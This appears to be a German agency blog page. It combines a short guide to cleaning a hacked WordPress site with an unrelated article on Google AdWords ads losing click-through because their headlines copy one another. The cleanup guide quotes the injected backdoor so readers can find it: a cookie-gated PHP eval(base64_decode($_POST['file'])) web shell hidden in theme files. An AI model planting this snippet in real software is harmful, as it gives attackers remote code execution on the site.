• Führen Sie als aller erstes ein Update Ihrer Wordpress Version durch.

• Sollten Sie einen direkten Zugang zu Ihrer Database haben (myphpadmin), öffnen Sie hier den Tab “WP_Users” und löschen Sie den User “Wordpress“. Ändern Sie auch ggF. alle Passwörter Ihrer Administratoren und Moderatoren, inklusive Ihrer Zugangsdaten.
• Sollten Sie einen FTP Zugang haben, testen Sie alle Pfade nach Daten, an denen Sie wissen ganz bestimmt keine Änderung vorgenommen zu haben.
  In meinem Fall hab ich veränderte Daten im Blog Root, Uploads, WP_Content und WP_Admin gefunden.
  Der Cloaking Link sollte so, oder so ähnlich aussehen.<?php if(md5($_COOKIE['_wp_debugger'])==”2435265e6253721e9a8e200d1ebbc54e”){ eval(base64_decode($_POST['file'])); exit; } ?>

  und befindet sich entweder im Index, Footer oder Header Ihres Themes in dem Pfad: wp-content/themes/mytheme. Auf jeden Fall enthält der Cloaking Link den Begriff “base64″. Untersuchen Sie zusätzlich Ihre Plugins auf Änderungen die Sie nicht vorgenommen haben. Rechts neben den Dateinen finden Sie meist ein Datum, welches Rückschlüsse auf etwaige Änderungen zulässt.

Ihr Blog ist nun gesäubert. Sollte Ihr Problem differenzierter sein als hier beschrieben, gibt es hier diverse andere Lösungswege das Problem anzugehen.

Sven Hendrik Schürmann COO, SEO Specialist position worx.

In einer Vielzahl von Tests in Suchmaschinen Marketing Kampagnen, hier speziell im Fokus die Werbewirksamkeit von Google AdWords, ist uns aufgefallen, dass durch zunehmende Professionalisierung der Agenturen im Bereich SEM und auch die immer besser werdenden SEM Inhouse Teams, eine enorme Anzahl an AdWords Anzeigen, immer ähnlicher werden und dadurch jede einzelne Anzeige in der Masse untergeht. Dabei spielt es keine Rolle mehr, wie gut die eigentliche Werbebotschaft formuliert wurde und wie diese dann auch entsprechend im nachfolgenden Prozess auf den Seiten des Werbetreibenden widerspiegelt wird, sondern viel mehr, wie die Anzeige selbst, noch so auffällig gestaltet werden kann, dass sie sich von denen der Wettbewerber im Umfeld abhebt. Auch die jeweilige Position spielt dabei keine Rolle mehr.

Hier ein Beispiel für zunehmende Irrelevanz der Google AdWords Anzeigen, wie man es auch schon bei klassischen Banneranzeigen festgestellt hat. Durch immer während gleichartige Anzeigeformate (auch inhaltlich), blendet der User diese Bereiche im Laufe der Zeit (bei häufigen Besuchen derselben Seiten sogar schneller) aus seinem Blickfeld nahezu vollständig aus. Die Werbebotschaft erreicht damit immer geringere Anteile der Besucher/Suchenden, wobei sich die Kostenschraube, und das zeigt sich im Bereich Suchmaschinen Marketing, immer weiter nach oben dreht, da es immer mehr Werbetreibende gibt, die mit den selben Keywörtern, zur selben Zeit, mit dem nahezu selben Angebot, Google AdWords schalten. Die Effizienz der Kampagne kann da fast nur noch durch die Optimierung des gesamten Clickflows erreicht werden, also vom Klick auf die Anzeige bis zum erfolgreichen Abverkauf.

Zurück zu den immer häufiger gleichartigen Anzeigen. Am Beispiel „Royal Sun“, ein bekanntes Hotel in Spanien, zeigen wir, wie sich die zunehmende Verwendung von Features wie z.B. Keyword Insertion, d.h. die Wiedergabe des vom User eingegebenen Keywords innerhalb der AdWords Anzeige, immer mehr AdWords Kopien (Plagiate) entwickeln.

Den Blick auf die Ergebnisse der Google AdWords Anzeigen gerichtet, fragt man sich nun: „Liest das noch jemand?“. Wir haben diese Art von Headlinekopien in den letzten 3 Monaten sehr intensiv beobachtet und drei wesentliche Punkte festgemacht:

1. Die CTR hat sich bei 10 parallel getesteten Kampagnen in unterschiedlichen Branchen zu unterschiedlichen Produkten und Leistungen, zwischen den Positionen 1 und 5 unverhältnismäßig schlecht entwickelt. Während wir bei normalem Verlauf (also weniger bis keine Headlinekopien), in allen Positionen mit „normalen“ CTRs unterwegs waren, ist die CTR (unabhängig von der Position des jeweiligen AdWords) bei den gleichen Kampagnen, zu jeweils anderen Uhrzeiten, im Einklang mit AdWords Headlinekopien, durchschnittlich um 2,14% gefallen. Wir haben die Tests mit Hilfe permanenter Umfeldanalysen durchgeführt, so dass wir überprüfen konnten, wann Headlinekopien geschaltet waren und wann nicht.

2. Wir waren mit 4 Accounts der gleichen Branche, mit vergleichbaren Produkten, zur gleichen Zeit online. Wir haben selbst Headlines kopiert, jedoch Texte differenziert. Verwendet man darüber hinaus auch noch ähnliche oder gar gleiche Texte und eine gleiche oder ähnliche Art die Anzeigen-URL zu gestalten, so fällt die CTR um weitere 1,44% im Schnitt. Versuchen Sie es einfach mal selbst. Alle paar Tage mal 2-3 Keywords eingeben. Sie werden vermutlich ähnliche Feststellungen machen, ohne so intensiv testen zu müssen.

3. Interessant ist jedoch auch der folgende Aspekt. Ist man beim jeweiligen Keyword innerhalb der Top 5 in den natürlichen Suchergebnisse über gute Suchmaschinen Optimierung gelangt, so erhöht sich die CTR bei aktiver Google AdWords Anzeige, die auf Augenhöhe mit dem natürlichen Suchergebnis ist, um mehr als (im Schnitt) 2,16% und die Conversion Rate um mehr als 0,28%. Diese Zahlen sind nicht repräsentativ, da wir die Tests für Punkt 3 nur mit 2 Kunden durchgeführt haben. Hier spielt sicher auch das Branding, die Aktualität und Attraktivität der Produkte, sowie der angezeigte Preis eine tragende Rolle.

Zusammenfassend bleibt zu hoffen, dass Google entweder das AdWords System irgendwann um Bilder, Videos und Audiotracks anreichert oder Agenturen und Inhouse SEMs wieder mehr Arbeit in die Differenzierung ihrer Werbebotschaften stecken, so dass die Relevanz wieder steigt.

Wie immer freuen wir uns auf Kommentare, gerne auch kritischer Natur.

Jürgen Wiest, CEO, position worx